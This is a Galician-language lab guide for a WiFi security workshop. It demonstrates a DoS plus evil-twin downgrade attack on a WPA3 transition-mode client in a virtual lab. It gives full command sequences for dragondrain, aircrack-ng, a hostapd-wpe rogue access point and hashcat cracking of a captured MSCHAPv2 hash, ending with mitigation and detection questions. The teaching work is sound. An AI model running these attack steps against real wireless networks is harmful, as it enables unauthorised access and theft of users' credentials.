Guía de Práctica 3.3: Dragonblood — DoS + Evil Twin WPA2-PSK (ou + Evil Twin WPA2-EAP)

Baseada na práctica 3-Taller-HE-Practica-WiFi-3.pdf

1. Preparación do Escenario (Terminais 1 e 2)

Arranca o laboratorio. Desprega automaticamente o AP lexítimo WPA3-SAE vulnerable (wlan0), o cliente en modo transición WPA2/WPA3 (wlan1) e o Evil Twin WPA2-PSK (wlan3). A interface wlan2 queda libre para o atacante.

sudo wifilabctl up wpa3_sae_vulnerable
sudo wifilabctl status

Saída esperada:

NAMESPACE        INTERFACE    ESTADO
phy0_wlan0       wlan0        UP       ← AP lexítimo WPA3-SAE (hostapd)
phy1_wlan1       wlan1        UP       ← Cliente (wpa_supplicant)
mitm_wlan3       wlan3        UP       ← Evil Twin WPA2-PSK (hostapd)
(global)         wlan2        LISTO    ← Atacante (monitor + dragondrain)

Comproba que ambos APs están activos:

grep "AP-ENABLED" /home/kali/wifiLab/run/wpa3_sae_vulnerable/hostapd.log
grep "AP-ENABLED" /home/kali/wifiLab/run/wpa3_sae_vulnerable/hostapd_eviltwin.log

---

2. Recoñecemento e Modo Monitor (Terminais 1 e 2)

Pon wlan2 en modo monitor para identificar os dous APs e o cliente.

yes | sudo airmon-ng start wlan2
sudo airodump-ng wlan2mon

Debes ver dous APs co mesmo SSID EMPRESA-XYZ no canal 6:

BSSID              ENC   AUTH  ESSID
EA:18:30:AA:C3:48  WPA3  SAE   EMPRESA-XYZ   ← AP lexítimo (wlan0)
C2:3C:42:4B:62:56  WPA2  PSK   EMPRESA-XYZ   ← Evil Twin  (wlan3)

Ctrl+C
sudo airodump-ng -c 6 wlan2mon
# Espera a ver o cliente(wlan1) autenticado no AP lexítimo (BSSID EA:...)

Anota o BSSID do AP lexítimo e a MAC do cliente (sección STATIONS). Preme Ctrl+C.

---

3. Captura e Intento de Deauth (Terminal 1)

Inicia a captura no canal 6:

mkdir -p capturas
sudo airodump-ng wlan2mon -c 6 -w capturas/cap

Nunha nova terminal (Terminal 2), tenta desautenticar o cliente:

sudo aireplay-ng --deauth 20 -a <BSSID_AP_LEXITIMO> -c <MAC_CLIENTE> wlan2mon

Saída esperada (deauth ignorada por PMF):

09:45:32 Sending 64 directed DeAuth (code 7)...[0| 0ACKs]
09:45:33 Sending 64 directed DeAuth (code 7)...[0| 0ACKs]

O cliente non se desconecta: PMF (ieee80211w=1) descarta as tramas de deauth non cifradas. Usamos dragondrain para o DoS.

---

4. Ataque DoS con Dragondrain (Terminal 2)

dragondrain é unha ferramenta en C que satura a CPU do AP con solicitudes SAE Commit falsas.

cd /opt/dragondrain-and-time
sudo ./src/dragondrain -d wlan2mon -a <BSSID_AP_LEXITIMO> -c 6 -i 50 -r 100 -n 1

⚠️ Limitación con mac80211_hwsim: dragondrain require hardware Atheros real para xerar ACKs de MACs spoofed. Neste entorno virtual o DoS é limitado. Pasa directamente á simulación.

Simulación da caída do AP (PDF: páx. 13) (Terminal 3)

Nunha nova terminal, para só o hostapd do AP lexítimo (wlan0), sen tocar o Evil Twin:

sudo ip netns exec phy0_wlan0 pkill -f "hostapd.*hostapd.conf"

Verifica nos logs que só caeu o AP lexítimo:

grep -E "AP-DISABLED|AP-STA-DISCONNECTED" /home/kali/wifiLab/run/wpa3_sae_vulnerable/hostapd.log | tail -3

Saída esperada:

wlan0: AP-STA-DISCONNECTED 72:95:af:1d:09:59
wlan0: AP-DISABLED

O Evil Twin (wlan3) segue activo. Podes verificalo:

grep "AP-ENABLED" /home/kali/wifiLab/run/wpa3_sae_vulnerable/hostapd_eviltwin.log

---

5. Reconexión do Cliente ao Evil Twin (Terminal 2)

Co AP lexítimo caído, o cliente lexítimo intenta conectar co AP Rogue e aparece o handshake. Se non é o caso, forza a reconexión do cliente desde dentro do seu namespace:

sudo ip netns exec phy1_wlan1 bash

Dentro do namespace:

pkill -f wpa_supplicant || true
sleep 2
wpa_supplicant -B -i wlan1 -c /home/kali/wifiLab/run/wpa3_sae_vulnerable/wpa_supplicant.conf

O cliente intentará conectar ao Evil Twin. Non conectará con éxito (PSK mismatch: o Evil Twin usa calqueracousa), pero si enviará o handshake WPA2-PSK. Verifica:

iw dev wlan1 link
# Expected: Not connected.  ← Normal! O handshake foi enviado igualmente.

Na Terminal 1 (airodump-ng) deberías ver:

CH  6 ][ WPA handshake: C2:3C:42:4B:62:56

Nos logs do Evil Twin podes confirmar o intento:

grep -E "authenticated|PSK-MISMATCH" /home/kali/wifiLab/run/wpa3_sae_vulnerable/hostapd_eviltwin.log | tail -5

wlan3: STA 72:95:af:1d:09:59 IEEE 802.11: authenticated
wlan3: STA 72:95:af:1d:09:59 IEEE 802.11: associated (aid 1)
wlan3: AP-STA-POSSIBLE-PSK-MISMATCH 72:95:af:1d:09:59

Preme Ctrl+C na Terminal 1 para deter airodump-ng.

---

6. Cracking do Handshake (Terminal 1)

gunzip -c /usr/share/wordlists/rockyou.txt.gz > /tmp/rockyou.txt
sudo aircrack-ng capturas/cap-01.cap -w /tmp/rockyou.txt

Escolle o Evil Twin como obxectivo (o que ten 1 handshake):

   #  BSSID              ESSID         Encryption
   1  C2:3C:42:4B:62:56  EMPRESA-XYZ   WPA (1 handshake)   ← escolle 1
   2  EA:18:30:AA:C3:48  EMPRESA-XYZ   Unknown

Index number of target network ? 1

Resultado esperado:

KEY FOUND! [ spongebob19 ]

Se non aparece handshake, repite o paso 5 (pkill + wpa_supplicant) e volve executar aircrack-ng.

---

6b. Variante avanzada: Evil Twin WPA2-EAP + jtr/hashcat

O ataque anterior captura o handshake WPA2-PSK e crackéao con aircrack-ng. Existe unha variante máis potente: substituír o Evil Twin WPA2-PSK por un WPA2-EAP con hostapd-wpe que captura o hash MSCHAPv2 directamente — crackeable con jtr|hashcat.

💡 Esta variante aplícase cando a rede lexítima usa WPA3-EAP (non PSK). O cliente en modo transición acepta o downgrade a WPA2-EAP igual que a WPA2-PSK.

Neste escenario, wlan2 está libre no namespace global e é a interface que usaremos para o Evil Twin EAP. O Evil Twin WPA2-PSK (wlan3 / mitm_wlan3) debe estar parado primeiro para evitar conflitos de SSID.

---

Paso 1: Parar o Evil Twin PSK (Terminal 2)

# Parar o hostapd do Evil Twin WPA2-PSK para liberar o canal
sudo ip netns exec mitm_wlan3 pkill -f hostapd

---

Paso 2: Verificar e preparar certificados hostapd-wpe (Terminal 2)

O wifilabctl non xera certificados de hostapd-wpe para este escenario (só para eap_evil_twin). Hai que xeralos manualmente.

⚠️ Causa do erro Problem with index file: .//index.txt (could not load/parse file): o bootstrap usa openssl ca que busca o índice en demoCA/index.txt (non no directorio raíz). Se demoCA/ non ten a estrutura completa con newcerts/, index.txt e serial, o proceso falla. A solución é reconstruír demoCA/ desde cero.

sudo su -

WPE=/etc/hostapd-wpe/certs

# 1. Eliminar certificados e claves anteriores
rm -f $WPE/server.crt  $WPE/server.csr $WPE/server.pem \
      $WPE/server.key  $WPE/server.p12 \
      $WPE/ca.pem      $WPE/ca.key     $WPE/ca.der

# 2. Reconstruír a estrutura demoCA/ que require openssl ca
rm -rf $WPE/demoCA
mkdir -p $WPE/demoCA/newcerts
mkdir -p $WPE/demoCA/private
touch    $WPE/demoCA/index.txt
echo '01' > $WPE/demoCA/serial

# 3. Resetear índice e serial no directorio raíz
echo '01' > $WPE/serial
touch       $WPE/index.txt
rm -f       $WPE/index.txt.attr $WPE/index.txt.attr.old \
            $WPE/index.txt.old  $WPE/serial.old

# 4. Executar bootstrap (xera ca.pem, ca.key, server.p12, dh)
cd $WPE && ./bootstrap

# 5. Extraer server.pem e server.key do PKCS#12 xerado por bootstrap
openssl pkcs12 -in $WPE/server.p12 -out $WPE/server.pem \
        -nodes -passin pass:whatever
openssl pkcs12 -in $WPE/server.p12 -out $WPE/server.key \
        -nodes -nocerts -passin pass:whatever

chown -R root:root $WPE

Verifica que existen os catro ficheiros necesarios:

ls /etc/hostapd-wpe/certs/ | grep -E "^ca.pem$|^server.pem$|^server.key$|^dh$"
# Debe amosar: ca.pem  dh  server.key  server.pem

---

Paso 3: Preparar wlan2 e crear configuración hostapd-wpe (Terminal 2)

# wlan2 está no namespace global — restaurar modo managed
# airmon-ng stop non sempre restaura o modo: hai que forzalo con iw
airmon-ng stop wlan2mon 2>/dev/null || true
ip link set wlan2 down
iw dev wlan2 set type managed
macchanger -r wlan2
ip link set wlan2 up

# Verificar que está en modo managed antes de continuar
iw dev wlan2 info | grep "type managed" || { echo "ERRO: wlan2 non está en modo managed"; exit 1; }

# Crear configuración do Evil Twin WPA2-EAP
cat > /tmp/evil-wpe.conf <<'EOF'
interface=wlan2
driver=nl80211
ssid=EMPRESA-XYZ
channel=6
hw_mode=g
wpa=2
wpa_key_mgmt=WPA-EAP
wpa_pairwise=CCMP
rsn_pairwise=CCMP
ieee8021x=1
eap_server=1
eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user
ca_cert=/etc/hostapd-wpe/certs/ca.pem
server_cert=/etc/hostapd-wpe/certs/server.pem
private_key=/etc/hostapd-wpe/certs/server.key
dh_file=/etc/hostapd-wpe/certs/dh
logger_syslog=-1
logger_syslog_level=2
logger_stdout=-1
logger_stdout_level=2
EOF

---

Paso 4: Lanzar hostapd-wpe (Terminal 2)

hostapd-wpe /tmp/evil-wpe.conf 2>&1 | tee /tmp/hostapd-wpe.log

Saída esperada:

Configuration file: /tmp/evil-wpe.conf
Using interface wlan2 with hwaddr f0:4d:a2:84:3e:2d and ssid "EMPRESA-XYZ"
wlan2: interface state UNINITIALIZED->ENABLED
wlan2: AP-ENABLED

Deixa hostapd-wpe executándose. Executa no Terminal 3 os pasos seguintes.

---

Paso 5: Reconectar o cliente ao Evil Twin WPA2-EAP (Terminal 3)

⚠️ Por que o cliente non conecta con só engadir un bloque: wpa_supplicant ordena os bloques por prioridade interna e tentará SAE/PSK primeiro. Ademais, con dous bloques para o mesmo SSID pode entrar en bucle. A solución é substituír completamente o wpa_supplicant.conf por un que só teña o bloque EAP, e relanzar en primeiro plano para ver erros en tempo real.

# Entrar no namespace do cliente
sudo ip netns exec phy1_wlan1 bash

# Parar wpa_supplicant actual
pkill -f wpa_supplicant || true
sleep 1

# Gardar copia do conf orixinal
WPA_CONF=/home/kali/wifiLab/run/wpa3_sae_vulnerable/wpa_supplicant.conf
cp $WPA_CONF ${WPA_CONF}.bak

# Substituír completamente por un conf só WPA-EAP sen ca_cert
cat > $WPA_CONF <<'EOF'
ctrl_interface=/var/run/wpa_supplicant
update_config=1

network={
    ssid="EMPRESA-XYZ"
    key_mgmt=WPA-EAP
    eap=PEAP
    identity="ana"
    password="spongebob19"
    phase2="auth=MSCHAPV2"
    ieee80211w=0
}
EOF

# Lanzar en primeiro plano para ver a negociación EAP en tempo real
wpa_supplicant -d -i wlan1 -c $WPA_CONF
# Ctrl+C cando vexa "CTRL-EVENT-CONNECTED" ou o hash en hostapd-wpe (Terminal 2)

Saída esperada (fragmento relevante):

wlan1: SME: Trying to authenticate with <BSSID_wlan2> (SSID='EMPRESA-XYZ' freq=2437 MHz)
wlan1: Trying to associate with <BSSID_wlan2> (SSID='EMPRESA-XYZ' freq=2437 MHz)
wlan1: Associated with <BSSID_wlan2>
wlan1: CTRL-EVENT-EAP-STARTED EAP authentication started
wlan1: CTRL-EVENT-EAP-METHOD type=25 vendor=0 name=PEAP
wlan1: CTRL-EVENT-EAP-METHOD type=26 vendor=0 name=MS-CHAP-V2
wlan1: CTRL-EVENT-CONNECTED

💡 Por que funciona sen ca_cert? Sen ca_cert, wpa_supplicant acepta calquera certificado TLS — incluíndo o auto-asinado de hostapd-wpe. Se o cliente tivese ca_cert=/ruta/ca.pem rexeitaría o certificado falso e o ataque fallaría.

🔁 Restaurar ao rematar: cp ${WPA_CONF}.bak $WPA_CONF

---

Paso 6: Verificar captura do hash en hostapd-wpe (Terminal 2)

Na Terminal 2 (hostapd-wpe) deberías ver a conexión e o hash MSCHAPv2 capturado en canto o cliente complete a negociación PEAP:

wlan2: STA 26:9b:26:88:05:fc IEEE 802.1X: Identity received from STA: 'ana'

mschapv2: Sat Feb 28 14:22:49 2026

         username:      ana

         challenge:     aa:10:2f:13:87:8b:80:62

         response:      8b:74:a2:0e:21:48:9d:da:b4:5d:27:cc:f1:5a:7f:14:88:a9:d0:69:e4:19:e3:84

         jtr NETNTLM:           ana:$NETNTLM$aa102f13878b8062$8b74a20e21489ddab45d27ccf15a7f1488a9d069e419e384

         hashcat NETNTLM:       ana::::8b74a20e21489ddab45d27ccf15a7f1488a9d069e419e384:aa102f13878b8062

O que ver aquí é:
- username: identidade enviada polo cliente durante a fase EAP (Identity).
- challenge: valor aleatorio enviado polo servidor EAP ao cliente.
- response: hash que o cliente calcula aplicando MSCHAPv2 ao challenge usando o seu contrasinal real.
- As liñas jtr e hashcat son formatos directamente usables polas ferramentas de cracking.

Preme Ctrl+C para deter hostapd-wpe e recuperar o prompt. Agora extraemos e crackeamos o hash:

Se o cliente se asocia pero non aparece o hash (só ves authenticated e associated pero non mana_wpe:), o PEAP non chegou a negociarse. Comproba o log de wpa_supplicant (Terminal 3) — busca erros EAP:

# En Terminal 3 (mentres wpa_supplicant corre en primeiro plano)
# Busca estas liñas problemáticas:
# EAP: Failed to initialize EAP method: vendor 0 method 25 (PEAP)
# → O wpa_supplicant non ten soporte PEAP compilado (raro en Kali)

# EAP: server certificate verification failed
# → O cliente ten ca_cert configurado nalgún sitio (verifica o conf)

Se o cliente non se asocia en absoluto, verifica que wlan2 (Evil Twin) é visible desde o namespace do cliente:

# Nunha cuarta terminal
sudo ip netns exec phy1_wlan1 iw dev wlan1 scan | grep -A5 "EMPRESA-XYZ"
# Debe aparecer dúas entradas: BSSID do AP lexítimo (caído) e BSSID de wlan2 (Evil Twin EAP)

---

Paso 7: Extraer o hash para hascat (Terminal 1)

grep "hashcat NETNTLM" /tmp/hostapd-wpe.log | awk '{print $3}' > evil-hash.txt
cat evil-hash.txt

Debe mostrar unha liña no formato: ana::::<response>:<challenge>

Paso 8: Crackear con hashcat (Modo 5500 — NetNTLMv1

gunzip -c /usr/share/wordlists/rockyou.txt.gz > /tmp/rockyou.txt
hashcat -m 5500 evil-hash.txt /tmp/rockyou.txt

O modo 5500 é específico para hashes NetNTLMv1 / NetNTLMv1+ESS, que é o formato que xera MSCHAPv2. O resultado esperado é:

ana::::8b74a20e21489ddab45d27ccf15a7f1488a9d069e419e384:aa102f13878b8062:spongebob19

✅ Contrasinal capturado: spongebob19

Paso 9: Mostrar o resultado

hashcat -m 5500 evil-hash.txt /tmp/rockyou.txt --show

---

Comparativa de variantes Evil Twin

Variante Evil Twin	Ferramenta cracking	Requere	Resultado
WPA2-PSK (wlan3)	aircrack-ng	Handshake WPA2-PSK	Contrasinal directo
WPA2-EAP (wlan2, wpe)	jtr|hashcat	Hash MSCHAPv2 + sen ca_cert	Contrasinal directo

---

7. Resumo do Ataque (DoS + Evil Twin WPA2-PSK(EAP))

O ataque combinado desta práctica demostra como un cliente WPA3 con modo transición habilitado é vulnerable:

Paso	Técnica	Ferramenta	Resultado
1	Recoñecemento	airodump-ng	BSSID AP lexítimo + MAC cliente
2	DoS contra AP WPA3 lexítimo	dragondrain	AP lexítimo caído
3	Reconexión ao Evil Twin WPA2	wpa_supplicant	Handshake WPA2-PSK capturado
4a	Cracking handshake PSK offline	aircrack-ng	Contrasinal recuperado (spongebob19)
4b	Captura hash MSCHAPv2 (EAP)	hostapd-wpe	Hash MSCHAPv2 capturado
4c	Cracking hash MSCHAPv2	jtr|hashcat	Contrasinal recuperado (spongebob19)

Por que funciona: O cliente ten key_mgmt=WPA-PSK SAE ou key_mgmt=WPA-EAP SAE (modo transición) e acepta conectar ao Evil Twin WPA2-PSK cando o AP lexítimo non está dispoñible.

Mitigación: Configurar o AP en modo WPA3-only (wpa_key_mgmt=SAE unicamente, sen WPA-PSK ou WPA-EAP) e o cliente con key_mgmt=SAE exclusivamente. Así non hai downgrade posible.

---

8. Limpeza

sudo wifilabctl reset

9. Preguntas de reflexión

1. Por que WPA3-SAE non é vulnerable a cracking offline pero si a Evil Twin?

   • Forward Secrecy garante que cada sesión SAE deriva claves únicas → o handshake capturado non é reutilizable nin crackeble offline
   • Pero o modo transición permite downgrade a WPA2 → o cliente conecta ao Evil Twin e expón as credenciais

2. Que é o modo transición WPA2/WPA3?

   • Configuración que permite key_mgmt=SAE WPA-PSK (ou SAE WPA-EAP) simultaneamente para compatibilidade durante a migración a WPA3
   • Vulnerable a downgrade: se o atacante presenta un AP só WPA2, o cliente conecta sen resistencia

3. Por que o cliente aceptou o Evil Twin WPA2-PSK sen verificar que o AP anterior usaba SAE?

   • wpa_supplicant con key_mgmt=SAE WPA-PSK fai fallback automático a PSK cando o AP non anuncia SAE
   • Non hai memoria de que ese SSID usaba SAE anteriormente — é unha limitación de deseño do modo transición

4. Por que o cliente conectou ao Evil Twin WPA2-EAP sen ca_cert?

   • Sen ca_cert, wpa_supplicant acepta calquera certificado TLS presentado polo servidor EAP
   • O cliente entra no túnel TLS de hostapd-wpe e envía o hash MSCHAPv2 sen verificar a identidade do servidor
   • Con ca_cert configurado, o cliente rexeitaría o certificado auto-asinado e o ataque fallaría

5. Cal é a diferenza técnica entre crackear con aircrack-ng (PSK) e con hashcat -m 5500 (EAP)?

   • aircrack-ng reconstrúe o PMK desde o 4-way handshake WPA2-PSK e proba contrasinais directamente
   • hashcat -m 5500 ataca o hash NetNTLMv1 de MSCHAPv2: DES de 56 bits efectivos → crackeble en segundos con wordlist
   • MSCHAPv2 é estruturalmente débil (DES, sen sal); un contrasinal en rockyou cae en segundos en calquera caso

6. Como evitar este ataque de forma completa (defensa en profundidade)?

   • AP en modo WPA3-only (wpa_key_mgmt=SAE, sen WPA-PSK nin WPA-EAP) → elimina o vector de downgrade
   • Cliente en modo WPA3-only (key_mgmt=SAE exclusivamente) → rexeita APs que non usen SAE
   • ca_cert no cliente (se se usa EAP) → rexeita certificados falsos de Evil Twins EAP
   • EAP-TLS en lugar de PEAP/MSCHAPv2 → elimina o risco de cracking do hash (non hai contrasinal, só certificados mutuos)
   • Monitorización IDS/SIEM de cambios de BSSID no mesmo ESSID e desautenticacións masivas

7. É posible este ataque contra un AP WPA3-only (key_mgmt=SAE exclusivo)?

   • NON. O cliente con key_mgmt=SAE ignora APs que non anuncien SAE → o Evil Twin WPA2 non é seleccionado nunca

8. Como detectar este ataque na rede?

   • IDS wireless: dous APs co mesmo SSID pero diferente BSSID ou diferente cifrado (SAE vs PSK/EAP)
   • Logs do AP lexítimo: AP-STA-DISCONNECTED masivos sen deauth lexítimas
   • Logs do cliente: cambio de key_mgmt de SAE a PSK ou EAP (CTRL-EVENT-CONNECTED a un BSSID distinto)
   • SIEM: correlación de caída do AP + nova asociación do cliente a BSSID descoñecido no mesmo ESSID

9. Que diferenza hai entre o ataque desta práctica e o da Práctica 2.2 (Evil Twin WPA2-EAP)?

   • Práctica 2.2: o AP lexítimo xa é WPA2-EAP → o Evil Twin duplica directamente ese modo
   • Práctica 3.3: o AP lexítimo é WPA3-SAE → require primeiro un DoS para forzar ao cliente a buscar alternativas e logo o downgrade a WPA2 (PSK ou EAP)
   • O resultado (hash MSCHAPv2 + jtr/hashcat) é o mesmo, pero o vector de entrada é máis complexo

10. Wifite pode executar algún paso deste ataque?

    • NON. Wifite non soporta: configuración de Evil Twins, orquestración de downgrade WPA3→WPA2, nin integración con hostapd-wpe. Está deseñado para auditoría pasiva WPA2-PSK exclusivamente.

10. Comparativa de vectores de ataque contra WPA3-SAE

Vector	Posible?	Mitigación
Cracking offline do handshake SAE	✗ Non	Forward Secrecy (SAE/Dragonfly) — clave por sesión
KRACK (reinstalación de claves)	✗ Non	PMF obrigatorio (ieee80211w=2) — ver Práctica 3.2
DoS con dragondrain	✔ hostapd ≤ 2.7	Actualizar hostapd ≥ 2.8 + sae_anti_clogging_threshold=5
Evil Twin + downgrade WPA2-PSK	✔ Con modo transición	AP e cliente en modo WPA3-only (key_mgmt=SAE exclusivo)
Evil Twin + downgrade WPA2-EAP	✔ Sen ca_cert no cliente	ca_cert obrigatorio + EAP-TLS en lugar de PEAP/MSCHAPv2
Forza bruta online (wacker)	✔ Sempre	Contrasinal ≥ 20 caracteres aleatorios + anti-clogging